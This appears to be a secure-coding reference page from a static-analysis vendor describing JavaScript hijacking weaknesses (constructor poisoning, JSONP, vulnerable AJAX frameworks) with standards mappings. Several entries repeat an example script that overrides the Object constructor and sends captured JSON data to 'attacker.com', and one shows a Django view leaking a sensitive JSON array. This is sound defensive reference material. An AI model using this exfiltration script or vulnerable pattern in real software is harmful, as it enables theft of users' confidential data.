1634 items found
Weaknesses

JavaScript Hijacking: Constructor Poisoning

Abstract
Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application. JavaScript arrays can be stolen if the browser's JavaScript engine allows array constructor poisoning.
Explanation
An application may be vulnerable to JavaScript hijacking if it:
1) Uses JavaScript objects as a data transfer format
2) Handles confidential data. Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, the Fortify Secure Coding Rulepacks call attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a web page, both the JavaScript and the web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, cull through it, and communicate it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional web applications are not.

The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax. JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a web application used to manage sales leads. It goes on to show how an attacker may mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
    if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
    }
};
req.send(null);


When the code runs, it generates an HTTP request which appears as the following:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.)
The server responds with an array in JSON format:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
    "purchases":60000.00, "email":"brian@example.com" },
    {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
    "purchases":120000.00, "email":"katrina@example.com" },
    {"fname":"Jacob", "lname":"West", "phone":"6502135600",
    "purchases":45000.00, "email":"jacob@example.com" }]


In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a web page that contains the following malicious code, the victim's lead information will be sent to the attacker's web site.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
    this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
    var objString = "";
    for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
    }
    objString += "email: " + x;
    var req = new XMLHttpRequest();
    req.open("GET", "http://attacker.com?obj=" +
            escape(objString),true);
    req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


The malicious code uses a script tag to include the JSON object in the current page. The web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. If the user is not logged into the vulnerable site, the attacker may compensate by asking the user to log in and then displaying the legitimate login page for the application.

This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.

Example 2: The following code shows a sample Django view method that sends a JSON response containing sensitive data in the form of a JSON array.


from django.http.response import JsonResponse
...
def handle_upload(request):
    response = JsonResponse(sensitive_data, safe=False)  # Sensitive data is stored in a list
    return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[5] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[8] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning

JavaScript Hijacking: JSONP

Abstract
JSONP is an insecure communication technique and it should only be used when no personal or sensitive data is involved and sanitizing the callback function.
Explanation
By design JSONP allows to perform cross-domain requests but it lacks any mechanism to restrict and verify requests origins. A malicious site can easily perform a JSONP request in user's behalf and process the JSON response. For this reason, it is strongly recommended to avoid this communication technique when PII or sensitive data is being sent.
JSONP is by design a self-inflicted XSS attack since the callback function name needs to be reflected to the requesting site for proper JSON processing. It is mandatory to validate and sanitize the callback function name in order to avoid JavaScript injection. In order to sanitize the callback function name, consider an allow list when possible or restrict the characters to be only alphanumeric.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 346
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
JSONP is an insecure communication technique and it should only be used when no personal or sensitive data is involved.
Explanation
By design JSONP allows to perform cross-domain requests but it lacks any mechanism to restrict and verify requests origins. A malicious site can easily perform a JSONP request in user's behalf and process the JSON response. For this reason, it is strongly recommended to avoid this communication technique when PII or sensitive data is being sent.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 346
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp

JavaScript Hijacking: Vulnerable Framework

Abstract
Applications that leverage Microsoft AJAX.NET (Atlas) can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data.
Explanation
Microsoft AJAX.NET (Atlas) uses JSON to transfer data between the server and the client. The framework produces responses comprised of valid JavaScript that can be evaluated using a <script> tag and is therefore vulnerable to JavaScript hijacking [1]. By default, the framework use the POST method to submit requests, which makes it difficult to generate a request from a malicious <script> tag (since <script> tags only generate GET requests). However, Microsoft AJAX.NET does provide mechanisms for using GET requests. In fact, many experts encourage programmers to use GET requests in order to leverage browser caching and improve performance.

An application may be vulnerable to JavaScript hijacking if it: 1) Uses JavaScript objects as a data transfer format 2) Handles confidential data. Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, the Fortify Secure Coding Rulepacks call attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a web page, both the JavaScript and the web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, culls through it, and communicates it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional web applications are not.

The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax. JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a web application used to manage sales leads. It goes on to show how an attacker may mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);


When the code runs, it generates an HTTP request which appears as the following:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.)
The server responds with an array in JSON format:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]


In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a web page that contains the following malicious code, the victim's lead information will be sent to the attacker's web site.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


The malicious code uses a script tag to include the JSON object in the current page. The web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. If the user is not logged into the vulnerable site, the attacker may compensate by asking the user to log in and then displaying the legitimate login page for the application.

This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
Applications that leverage versions of the DWR Ajax framework 1.1.4 and earlier are vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data.
Explanation
All released versions of DWR up to and including 1.1.4 are vulnerable to JavaScript hijacking [1]. Until now, the framework has not built any mechanisms for preventing the vulnerability. The good news is that DWR 2.0 is protected against JavaScript hijacking by a mechanism designed to prevent Cross-Site Request Forgery. The protection leverages the fact that malicious script cannot read secrets stored in cookies set by other domains, which allows the framework to use a value stored in a cookie as a secret shared between the client and server. DWR 2.0 automatically appends the session cookie to the request in the client and verifies on the server that each request contains the correct value.

An application may be vulnerable to JavaScript hijacking if it: 1) Uses JavaScript objects as a data transfer format 2) Handles confidential data. Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, the Fortify Secure Coding Rulepacks call attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a web page, both the JavaScript and the web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, culls through it, and communicates it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional web applications are not.

The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax. JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a web application used to manage sales leads. It goes on to show how an attacker may mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);


When the code runs, it generates an HTTP request which appears as the following:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.)
The server responds with an array in JSON format:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]


In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a web page that contains the following malicious code, the victim's lead information will be sent to the attacker's web site.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


The malicious code uses a script tag to include the JSON object in the current page. The web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. If the user is not logged into the vulnerable site, the attacker may compensate by asking the user to log in and then displaying the legitimate login page for the application.

This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.javascript_hijacking_vulnerable_framework
Abstract
Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application.
Explanation
An application may be vulnerable to JavaScript hijacking if it: 1) Uses JavaScript objects as a data transfer format 2) Handles confidential data. Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, the Fortify Secure Coding Rulepacks call attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a web page, both the JavaScript and the web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, culls through it, and communicates it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional web applications are not.

